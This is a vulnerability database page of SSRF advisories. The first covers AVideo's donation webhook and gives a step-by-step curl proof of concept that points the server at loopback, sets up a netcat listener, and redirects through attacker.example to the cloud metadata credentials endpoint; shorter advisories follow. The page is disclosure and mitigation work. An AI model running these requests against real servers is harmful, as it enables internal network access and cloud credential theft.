Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4605 vulnerabilities reference this CWE, most recent first.

GHSA-WP38-WHX3-XFFH

Vulnerability from github – Published: 2026-05-05 21:49 – Updated: 2026-05-13 14:20
VLAI
Summary
AVideo has Blind SSRF in YPTWallet Donation Webhook via Missing isSSRFSafeURL() Check and CURLOPT_FOLLOWLOCATION Redirect Bypass
Details

Summary

An authenticated user can configure their own donation-notification webhook URL to point at internal/loopback/metadata hosts (e.g. http://127.0.0.1:8080/..., http://169.254.169.254/latest/..., RFC1918 addresses). When any other user (including a second account owned by the same attacker) donates even a trivial amount via plugin/CustomizeUser/donate.json.php, the AVideo server issues a curl POST to the attacker-supplied URL, resulting in a blind SSRF. The handler uses only isValidURL() (which is a format check) and does not call the codebase's own isSSRFSafeURL() helper. Additionally, CURLOPT_FOLLOWLOCATION is enabled with no per-hop revalidation, so even if the stored URL were validated, an HTTP 307 from an attacker-controlled host could redirect the POST to internal targets.

Details

Sink: unvalidated curl POST in afterDonation

plugin/YPTWallet/YPTWallet.php:1043-1099

public function afterDonation($from_users_id, $how_much, $videos_id, $users_id, $extraParameters)
{
    ...
    $donation_notification_url = self::getDonationNotificationURL($users_id);
    ...
    if (!empty($donation_notification_url) && isValidURL($donation_notification_url)) {
        ...
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $donation_notification_url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 1);
        curl_setopt($ch, CURLOPT_NOSIGNAL, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);   // line 1081
        ...
        ob_start();
        curl_exec($ch);
        ob_end_clean();

The gate at line 1064 is isValidURL() only. That helper is a pure format check:

objects/functions.php:4305-4315

function isValidURL($url)
{
    if (empty($url) || !is_string($url)) {
        return false;
    }
    if (preg_match("/^http.*/", $url) && filter_var($url, FILTER_VALIDATE_URL)) {
        return true;
    }
    return false;
}

It does not reject http://127.0.0.1, http://169.254.169.254, RFC1918 ranges, or hostnames that resolve to private IPs.

The project already ships a correct SSRF guard at objects/functions.php:4366 (isSSRFSafeURL()), which performs scheme allow-listing, hostname-to-IP resolution, loopback blocking, RFC1918 / link-local / metadata blocking, and IPv4-mapped IPv6 normalization. It is not used here.

Storage path has no SSRF validation

plugin/YPTWallet/view/saveConfiguration.php:31-33

if(isset($_REQUEST['donation_notification_url'])){
     $obj->donation_notification_url = YPTWallet::setDonationNotificationURL(User::getId(), $_REQUEST['donation_notification_url']);
}

plugin/YPTWallet/YPTWallet.php:1015-1034

static function setDonationNotificationURL($users_id, $url)
{
    $url = trim($url);
    $url = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $url);
    $url = htmlspecialchars($url, ENT_QUOTES, 'UTF-8');
    if (strlen($url) > 2048) { ... }
    $user = new User($users_id);
    return $user->addExternalOptions('donation_notification_url', $url);
}

No host/IP/scheme validation. A value like http://127.0.0.1:8080/internal contains none of & < > " ', so htmlspecialchars preserves it verbatim.

Trigger

plugin/CustomizeUser/donate.json.php:88,108

if (YPTWallet::transferBalance(User::getId(), $video->getUsers_id(), $value, ...)) {
    ...
    AVideoPlugin::afterDonation(User::getId(), $value, $videos_id, 0, $obj->extraParameters);
}
...
if (YPTWallet::transferBalance(User::getId(), $users_id, $value, ...)) {
    ...
    AVideoPlugin::afterDonation(User::getId(), $value, 0, $users_id, $obj->extraParameters);
}

Donor must have wallet balance; captcha is required unless disableCaptchaOnWalletDirectTransferDonation is set. An attacker can use two accounts they control: the recipient configures the webhook, the donor (any balance they obtained) triggers the call with a trivial transfer.

FOLLOWLOCATION bypass

Even if isSSRFSafeURL() were added to the upfront check on the stored URL, CURLOPT_FOLLOWLOCATION=true with no per-redirect host validation allows the attacker to point the webhook at an external host they control and return HTTP 307, which preserves the POST method and forwards the body to e.g. http://169.254.169.254/latest/... or any RFC1918 endpoint.

What escapes to the internal request

The POST body is http_build_query($data) where $data contains from_users_id, from_users_name, currency, how_much_human, how_much, message (attacker-controlled from the donate.json.php request), videos_id, users_id, time, and extraParameters. Headers include X-Webhook-Signature: sha256=... and X-Webhook-Timestamp. The response is discarded (ob_start / ob_end_clean, return value ignored), so this is a blind SSRF — exfiltration must use out-of-band channels.

PoC

Prerequisites: two authenticated accounts on the target — Alice (attacker/recipient of donation) and Bob (attacker's second account with a small wallet balance). Captcha is assumed enabled (default).

Step 1 — Alice stores an internal-host webhook URL. No CSRF token is required on this endpoint:

curl -sS -b cookies_alice.txt -X POST 'https://target/plugin/YPTWallet/view/saveConfiguration.php' \
  --data-urlencode 'donation_notification_url=http://127.0.0.1:8080/internal/admin/action' \
  --data-urlencode 'CryptoWallet='

Response body includes the stored donation_notification_url plus Alice's webhook_secret (the signature is computed with Alice's own secret, so there is no cross-user signature leak).

Step 2 — Start a listener on the target host to observe the blind request:

# On the target server
nc -lvp 8080

Step 3 — Bob donates the minimum amount to Alice (captcha solved):

curl -sS -b cookies_bob.txt -X POST 'https://target/plugin/CustomizeUser/donate.json.php' \
  --data 'value=0.01&users_id=<alice_user_id>&message=x&captcha=<solved_value>'

donate.json.php:108 calls AVideoPlugin::afterDonation(...).

Step 4 — Observe the netcat listener: the AVideo server issues:

POST /internal/admin/action HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: <AVideo UA>
Content-Type: application/x-www-form-urlencoded
X-Webhook-Signature: sha256=<hmac>
X-Webhook-Timestamp: <epoch>
Content-Length: ...

from_users_id=<bob>&from_users_name=...&currency=...&how_much_human=...&how_much=0.01&message=x&videos_id=0&users_id=<alice>&time=...&extraParameters[...]=...

Confirmed: the vulnerable server reaches the loopback port on behalf of the attacker.

Step 5 — FOLLOWLOCATION bypass. Alice registers an external URL she controls:

curl -sS -b cookies_alice.txt -X POST 'https://target/plugin/YPTWallet/view/saveConfiguration.php' \
  --data-urlencode 'donation_notification_url=https://attacker.example/r' \
  --data-urlencode 'CryptoWallet='

Alice's web server at attacker.example/r responds to the POST with:

HTTP/1.1 307 Temporary Redirect
Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/

Because CURLOPT_FOLLOWLOCATION=true and HTTP 307 preserves method, the AVideo host re-issues the POST to the cloud metadata endpoint. This demonstrates that any future fix that only validates the stored URL (without disabling follow-redirects or validating each hop) remains bypassable.

Impact

  • Blind SSRF from authenticated low-privileged users. An attacker reaches internal-only network resources from the AVideo server: loopback services, RFC1918 hosts on the same VPC, cloud metadata endpoints, and any other host the AVideo server can route to.
  • State-changing POST to internal endpoints. Because the request method is fixed to POST and the body is attacker-influenced (the message field is user-supplied), an attacker can trigger POST-handled internal admin endpoints, Redis/memcached HTTP-ish consoles, or webhook receivers that accept arbitrary POST bodies.
  • Cloud metadata reachability via 307 redirect chain. Follow-location support enables redirection into RFC1918 / 169.254.169.254 even if stored-URL validation is later added. Metadata endpoints that accept POST (or GET-via-redirect once the chain involves a 302/303 downgrade) become reachable.
  • Blindness limits direct data exfiltration (the response is discarded) but does not prevent state-changing requests, port-probe timing, or DNS-rebinding timing side channels.
  • No CSRF protection on saveConfiguration.php, so this can also be compounded with a forced-browsing or CSRF vector against an authenticated user to plant the webhook on a victim's account.

Recommended Fix

  1. Call isSSRFSafeURL() on both the store path and the dispatch path. In plugin/YPTWallet/YPTWallet.php:1015 (setter) and line 1064 (dispatcher), replace:
if (!empty($donation_notification_url) && isValidURL($donation_notification_url)) {

with:

$resolvedIP = null;
if (!empty($donation_notification_url) && isSSRFSafeURL($donation_notification_url, $resolvedIP)) {

and reject the URL in setDonationNotificationURL() before persisting:

static function setDonationNotificationURL($users_id, $url)
{
    $url = trim($url);
    $url = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $url);
    if (!isSSRFSafeURL($url)) {
        _error_log("setDonationNotificationURL: rejected SSRF-unsafe URL for user {$users_id}");
        return false;
    }
    if (strlen($url) > 2048) { ... }
    $url = htmlspecialchars($url, ENT_QUOTES, 'UTF-8');
    ...
}
  1. Disable automatic redirect following, or implement per-hop validation. Either:
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);

Or use CURLOPT_REDIR_PROTOCOLS limited to CURLPROTO_HTTP | CURLPROTO_HTTPS and pin DNS via CURLOPT_RESOLVE using the $resolvedIP from isSSRFSafeURL(), then follow redirects manually by re-validating each Location: header with isSSRFSafeURL() before re-issuing the request.

  1. Add DNS-pinning to defeat DNS rebinding between the validation and the curl call:
$parts = parse_url($donation_notification_url);
$port = $parts['port'] ?? (($parts['scheme'] ?? 'http') === 'https' ? 443 : 80);
curl_setopt($ch, CURLOPT_RESOLVE, ["{$parts['host']}:{$port}:{$resolvedIP}"]);
  1. Add a CSRF/global-token check on plugin/YPTWallet/view/saveConfiguration.php (consistent with the token validation added elsewhere in the codebase in commit 11e7804f7) to prevent webhook planting via CSRF on a victim's authenticated session.
Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43879"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:49:23Z",
    "nvd_published_at": "2026-05-11T22:22:12Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nAn authenticated user can configure their own donation-notification webhook URL to point at internal/loopback/metadata hosts (e.g. `http://127.0.0.1:8080/...`, `http://169.254.169.254/latest/...`, RFC1918 addresses). When any other user (including a second account owned by the same attacker) donates even a trivial amount via `plugin/CustomizeUser/donate.json.php`, the AVideo server issues a `curl` POST to the attacker-supplied URL, resulting in a blind SSRF. The handler uses only `isValidURL()` (which is a format check) and does not call the codebase\u0027s own `isSSRFSafeURL()` helper. Additionally, `CURLOPT_FOLLOWLOCATION` is enabled with no per-hop revalidation, so even if the stored URL were validated, an HTTP 307 from an attacker-controlled host could redirect the POST to internal targets.\n\n## Details\n\n### Sink: unvalidated curl POST in afterDonation\n\n`plugin/YPTWallet/YPTWallet.php:1043-1099`\n\n```php\npublic function afterDonation($from_users_id, $how_much, $videos_id, $users_id, $extraParameters)\n{\n    ...\n    $donation_notification_url = self::getDonationNotificationURL($users_id);\n    ...\n    if (!empty($donation_notification_url) \u0026\u0026 isValidURL($donation_notification_url)) {\n        ...\n        $ch = curl_init();\n        curl_setopt($ch, CURLOPT_URL, $donation_notification_url);\n        curl_setopt($ch, CURLOPT_POST, true);\n        curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);\n        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n        curl_setopt($ch, CURLOPT_HEADER, false);\n        curl_setopt($ch, CURLOPT_TIMEOUT, 1);\n        curl_setopt($ch, CURLOPT_NOSIGNAL, true);\n        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);   // line 1081\n        ...\n        ob_start();\n        curl_exec($ch);\n        ob_end_clean();\n```\n\nThe gate at line 1064 is `isValidURL()` only. That helper is a pure format check:\n\n`objects/functions.php:4305-4315`\n\n```php\nfunction isValidURL($url)\n{\n    if (empty($url) || !is_string($url)) {\n        return false;\n    }\n    if (preg_match(\"/^http.*/\", $url) \u0026\u0026 filter_var($url, FILTER_VALIDATE_URL)) {\n        return true;\n    }\n    return false;\n}\n```\n\nIt does not reject `http://127.0.0.1`, `http://169.254.169.254`, RFC1918 ranges, or hostnames that resolve to private IPs.\n\nThe project already ships a correct SSRF guard at `objects/functions.php:4366` (`isSSRFSafeURL()`), which performs scheme allow-listing, hostname-to-IP resolution, loopback blocking, RFC1918 / link-local / metadata blocking, and IPv4-mapped IPv6 normalization. It is not used here.\n\n### Storage path has no SSRF validation\n\n`plugin/YPTWallet/view/saveConfiguration.php:31-33`\n\n```php\nif(isset($_REQUEST[\u0027donation_notification_url\u0027])){\n     $obj-\u003edonation_notification_url = YPTWallet::setDonationNotificationURL(User::getId(), $_REQUEST[\u0027donation_notification_url\u0027]);\n}\n```\n\n`plugin/YPTWallet/YPTWallet.php:1015-1034`\n\n```php\nstatic function setDonationNotificationURL($users_id, $url)\n{\n    $url = trim($url);\n    $url = preg_replace(\u0027/[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F\\x7F]/\u0027, \u0027\u0027, $url);\n    $url = htmlspecialchars($url, ENT_QUOTES, \u0027UTF-8\u0027);\n    if (strlen($url) \u003e 2048) { ... }\n    $user = new User($users_id);\n    return $user-\u003eaddExternalOptions(\u0027donation_notification_url\u0027, $url);\n}\n```\n\nNo host/IP/scheme validation. A value like `http://127.0.0.1:8080/internal` contains none of `\u0026 \u003c \u003e \" \u0027`, so `htmlspecialchars` preserves it verbatim.\n\n### Trigger\n\n`plugin/CustomizeUser/donate.json.php:88,108`\n\n```php\nif (YPTWallet::transferBalance(User::getId(), $video-\u003egetUsers_id(), $value, ...)) {\n    ...\n    AVideoPlugin::afterDonation(User::getId(), $value, $videos_id, 0, $obj-\u003eextraParameters);\n}\n...\nif (YPTWallet::transferBalance(User::getId(), $users_id, $value, ...)) {\n    ...\n    AVideoPlugin::afterDonation(User::getId(), $value, 0, $users_id, $obj-\u003eextraParameters);\n}\n```\n\nDonor must have wallet balance; captcha is required unless `disableCaptchaOnWalletDirectTransferDonation` is set. An attacker can use two accounts they control: the recipient configures the webhook, the donor (any balance they obtained) triggers the call with a trivial transfer.\n\n### FOLLOWLOCATION bypass\n\nEven if `isSSRFSafeURL()` were added to the upfront check on the stored URL, `CURLOPT_FOLLOWLOCATION=true` with no per-redirect host validation allows the attacker to point the webhook at an external host they control and return HTTP 307, which preserves the POST method and forwards the body to e.g. `http://169.254.169.254/latest/...` or any RFC1918 endpoint.\n\n### What escapes to the internal request\n\nThe POST body is `http_build_query($data)` where `$data` contains `from_users_id`, `from_users_name`, `currency`, `how_much_human`, `how_much`, `message` (attacker-controlled from the donate.json.php request), `videos_id`, `users_id`, `time`, and `extraParameters`. Headers include `X-Webhook-Signature: sha256=...` and `X-Webhook-Timestamp`. The response is discarded (`ob_start` / `ob_end_clean`, return value ignored), so this is a **blind** SSRF \u2014 exfiltration must use out-of-band channels.\n\n## PoC\n\nPrerequisites: two authenticated accounts on the target \u2014 Alice (attacker/recipient of donation) and Bob (attacker\u0027s second account with a small wallet balance). Captcha is assumed enabled (default).\n\nStep 1 \u2014 Alice stores an internal-host webhook URL. No CSRF token is required on this endpoint:\n\n```bash\ncurl -sS -b cookies_alice.txt -X POST \u0027https://target/plugin/YPTWallet/view/saveConfiguration.php\u0027 \\\n  --data-urlencode \u0027donation_notification_url=http://127.0.0.1:8080/internal/admin/action\u0027 \\\n  --data-urlencode \u0027CryptoWallet=\u0027\n```\n\nResponse body includes the stored `donation_notification_url` plus Alice\u0027s `webhook_secret` (the signature is computed with Alice\u0027s own secret, so there is no cross-user signature leak).\n\nStep 2 \u2014 Start a listener on the target host to observe the blind request:\n\n```bash\n# On the target server\nnc -lvp 8080\n```\n\nStep 3 \u2014 Bob donates the minimum amount to Alice (captcha solved):\n\n```bash\ncurl -sS -b cookies_bob.txt -X POST \u0027https://target/plugin/CustomizeUser/donate.json.php\u0027 \\\n  --data \u0027value=0.01\u0026users_id=\u003calice_user_id\u003e\u0026message=x\u0026captcha=\u003csolved_value\u003e\u0027\n```\n\n`donate.json.php:108` calls `AVideoPlugin::afterDonation(...)`.\n\nStep 4 \u2014 Observe the netcat listener: the AVideo server issues:\n\n```\nPOST /internal/admin/action HTTP/1.1\nHost: 127.0.0.1:8080\nUser-Agent: \u003cAVideo UA\u003e\nContent-Type: application/x-www-form-urlencoded\nX-Webhook-Signature: sha256=\u003chmac\u003e\nX-Webhook-Timestamp: \u003cepoch\u003e\nContent-Length: ...\n\nfrom_users_id=\u003cbob\u003e\u0026from_users_name=...\u0026currency=...\u0026how_much_human=...\u0026how_much=0.01\u0026message=x\u0026videos_id=0\u0026users_id=\u003calice\u003e\u0026time=...\u0026extraParameters[...]=...\n```\n\nConfirmed: the vulnerable server reaches the loopback port on behalf of the attacker.\n\nStep 5 \u2014 FOLLOWLOCATION bypass. Alice registers an external URL she controls:\n\n```bash\ncurl -sS -b cookies_alice.txt -X POST \u0027https://target/plugin/YPTWallet/view/saveConfiguration.php\u0027 \\\n  --data-urlencode \u0027donation_notification_url=https://attacker.example/r\u0027 \\\n  --data-urlencode \u0027CryptoWallet=\u0027\n```\n\nAlice\u0027s web server at `attacker.example/r` responds to the POST with:\n\n```\nHTTP/1.1 307 Temporary Redirect\nLocation: http://169.254.169.254/latest/meta-data/iam/security-credentials/\n```\n\nBecause `CURLOPT_FOLLOWLOCATION=true` and HTTP 307 preserves method, the AVideo host re-issues the POST to the cloud metadata endpoint. This demonstrates that any future fix that only validates the stored URL (without disabling follow-redirects or validating each hop) remains bypassable.\n\n## Impact\n\n- **Blind SSRF from authenticated low-privileged users.** An attacker reaches internal-only network resources from the AVideo server: loopback services, RFC1918 hosts on the same VPC, cloud metadata endpoints, and any other host the AVideo server can route to.\n- **State-changing POST to internal endpoints.** Because the request method is fixed to POST and the body is attacker-influenced (the `message` field is user-supplied), an attacker can trigger POST-handled internal admin endpoints, Redis/memcached HTTP-ish consoles, or webhook receivers that accept arbitrary POST bodies.\n- **Cloud metadata reachability via 307 redirect chain.** Follow-location support enables redirection into RFC1918 / 169.254.169.254 even if stored-URL validation is later added. Metadata endpoints that accept POST (or GET-via-redirect once the chain involves a 302/303 downgrade) become reachable.\n- **Blindness limits direct data exfiltration** (the response is discarded) but does not prevent state-changing requests, port-probe timing, or DNS-rebinding timing side channels.\n- **No CSRF protection** on `saveConfiguration.php`, so this can also be compounded with a forced-browsing or CSRF vector against an authenticated user to plant the webhook on a victim\u0027s account.\n\n## Recommended Fix\n\n1. Call `isSSRFSafeURL()` on both the store path and the dispatch path. In `plugin/YPTWallet/YPTWallet.php:1015` (setter) and line 1064 (dispatcher), replace:\n\n```php\nif (!empty($donation_notification_url) \u0026\u0026 isValidURL($donation_notification_url)) {\n```\n\nwith:\n\n```php\n$resolvedIP = null;\nif (!empty($donation_notification_url) \u0026\u0026 isSSRFSafeURL($donation_notification_url, $resolvedIP)) {\n```\n\nand reject the URL in `setDonationNotificationURL()` before persisting:\n\n```php\nstatic function setDonationNotificationURL($users_id, $url)\n{\n    $url = trim($url);\n    $url = preg_replace(\u0027/[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F\\x7F]/\u0027, \u0027\u0027, $url);\n    if (!isSSRFSafeURL($url)) {\n        _error_log(\"setDonationNotificationURL: rejected SSRF-unsafe URL for user {$users_id}\");\n        return false;\n    }\n    if (strlen($url) \u003e 2048) { ... }\n    $url = htmlspecialchars($url, ENT_QUOTES, \u0027UTF-8\u0027);\n    ...\n}\n```\n\n2. Disable automatic redirect following, or implement per-hop validation. Either:\n\n```php\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);\n```\n\nOr use `CURLOPT_REDIR_PROTOCOLS` limited to `CURLPROTO_HTTP | CURLPROTO_HTTPS` **and** pin DNS via `CURLOPT_RESOLVE` using the `$resolvedIP` from `isSSRFSafeURL()`, then follow redirects manually by re-validating each `Location:` header with `isSSRFSafeURL()` before re-issuing the request.\n\n3. Add DNS-pinning to defeat DNS rebinding between the validation and the curl call:\n\n```php\n$parts = parse_url($donation_notification_url);\n$port = $parts[\u0027port\u0027] ?? (($parts[\u0027scheme\u0027] ?? \u0027http\u0027) === \u0027https\u0027 ? 443 : 80);\ncurl_setopt($ch, CURLOPT_RESOLVE, [\"{$parts[\u0027host\u0027]}:{$port}:{$resolvedIP}\"]);\n```\n\n4. Add a CSRF/global-token check on `plugin/YPTWallet/view/saveConfiguration.php` (consistent with the token validation added elsewhere in the codebase in commit `11e7804f7`) to prevent webhook planting via CSRF on a victim\u0027s authenticated session.",
  "id": "GHSA-wp38-whx3-xffh",
  "modified": "2026-05-13T14:20:18Z",
  "published": "2026-05-05T21:49:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-wp38-whx3-xffh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43879"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/aaacd48f29f1ff71d1eb5fc81d37605f593cefa9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has Blind SSRF in YPTWallet Donation Webhook via Missing isSSRFSafeURL() Check and CURLOPT_FOLLOWLOCATION Redirect Bypass"
}

GHSA-WP43-3GF2-97GX

Vulnerability from github – Published: 2025-10-23 15:30 – Updated: 2025-10-23 15:30
VLAI
Details

The MxChat – AI Chatbot for WordPress plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 2.4.6. This is due to insufficient validation of user-supplied URLs in the PDF processing functionality. This makes it possible for unauthenticated attackers to make the WordPress server perform HTTP requests to arbitrary destinations via the mxchat_handle_chat_request AJAX action.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-10705"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-23T13:15:38Z",
    "severity": "MODERATE"
  },
  "details": "The MxChat \u2013 AI Chatbot for WordPress plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 2.4.6. This is due to insufficient validation of user-supplied URLs in the PDF processing functionality. This makes it possible for unauthenticated attackers to make the WordPress server perform HTTP requests to arbitrary destinations via the mxchat_handle_chat_request AJAX action.",
  "id": "GHSA-wp43-3gf2-97gx",
  "modified": "2025-10-23T15:30:34Z",
  "published": "2025-10-23T15:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10705"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/mxchat-basic/tags/2.4.1/includes/class-mxchat-integrator.php#L1090"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/mxchat-basic/tags/2.4.1/includes/class-mxchat-integrator.php#L1108"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/mxchat-basic/tags/2.4.1/includes/class-mxchat-integrator.php#L2360"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3378505"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c6ca63b8-b437-4e34-a57e-c3d956fbd102?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WP47-9R3H-XFGQ

Vulnerability from github – Published: 2022-02-07 00:00 – Updated: 2022-02-14 22:58
VLAI
Summary
Server-Side Request Forgery in Apache Traffic Control
Details

In Apache Traffic Control Traffic Ops prior to 6.1.0 or 5.1.6, an unprivileged user who can reach Traffic Ops over HTTPS can send a specially-crafted POST request to /user/login/oauth to scan a port of a server that Traffic Ops can reach.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/apache/trafficcontrol"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/apache/trafficcontrol"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-23206"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-02-14T22:58:25Z",
    "nvd_published_at": "2022-02-06T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "In Apache Traffic Control Traffic Ops prior to 6.1.0 or 5.1.6, an unprivileged user who can reach Traffic Ops over HTTPS can send a specially-crafted POST request to /user/login/oauth to scan a port of a server that Traffic Ops can reach.",
  "id": "GHSA-wp47-9r3h-xfgq",
  "modified": "2022-02-14T22:58:25Z",
  "published": "2022-02-07T00:00:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23206"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/lsrd2mqj29vrvwsh8g0d560vvz8n126f"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server-Side Request Forgery in Apache Traffic Control"
}

GHSA-WP52-R2FP-4VMR

Vulnerability from github – Published: 2026-03-10 21:32 – Updated: 2026-03-19 16:35
VLAI
Summary
pdfmake is vulnerable to server-side request forgery (SSRF)
Details

Server-Side Request Forgery (SSRF) vulnerability in pdfmake versions 0.3.0-beta.2 through 0.3.5 allows a remote attacker to obtain sensitive information via the src/URLResolver.js component. The fix was released in version 0.3.6 which introduces the setUrlAccessPolicy() method allowing server operators to define URL access rules. A warning is now logged when pdfmake is used server-side without a policy configured.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "pdfmake"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.0-beta.2"
            },
            {
              "fixed": "0.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26801"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-11T21:12:09Z",
    "nvd_published_at": "2026-03-10T19:17:17Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in pdfmake versions 0.3.0-beta.2 through 0.3.5 allows a remote attacker to obtain sensitive information via the src/URLResolver.js component. The fix was released in version 0.3.6 which introduces the setUrlAccessPolicy() method allowing server operators to define URL access rules. A warning is now logged when pdfmake is used server-side without a policy configured.",
  "id": "GHSA-wp52-r2fp-4vmr",
  "modified": "2026-03-19T16:35:25Z",
  "published": "2026-03-10T21:32:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26801"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bpampuch/pdfmake/pull/2920"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bpampuch/pdfmake"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bpampuch/pdfmake/blob/master/src/URLResolver.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bpampuch/pdfmake/releases/tag/0.3.6"
    },
    {
      "type": "WEB",
      "url": "https://mariopepe.github.io/cve-2026-26801-pdfmake-ssrf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pdfmake is vulnerable to server-side request forgery (SSRF)"
}

GHSA-WPF2-5J53-3CXV

Vulnerability from github – Published: 2025-04-17 21:31 – Updated: 2025-04-21 21:30
VLAI
Details

An issue in twonav v.2.1.18-20241105 allows a remote attacker to obtain sensitive information via the site settings component.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2025-29450"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-17T21:15:50Z",
    "severity": "MODERATE"
  },
  "details": "An issue in twonav v.2.1.18-20241105 allows a remote attacker to obtain sensitive information via the site settings component.",
  "id": "GHSA-wpf2-5j53-3cxv",
  "modified": "2025-04-21T21:30:30Z",
  "published": "2025-04-17T21:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29450"
    },
    {
      "type": "WEB",
      "url": "https://www.yuque.com/morysummer/vx41bz/ftlzvxve3t5713c6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

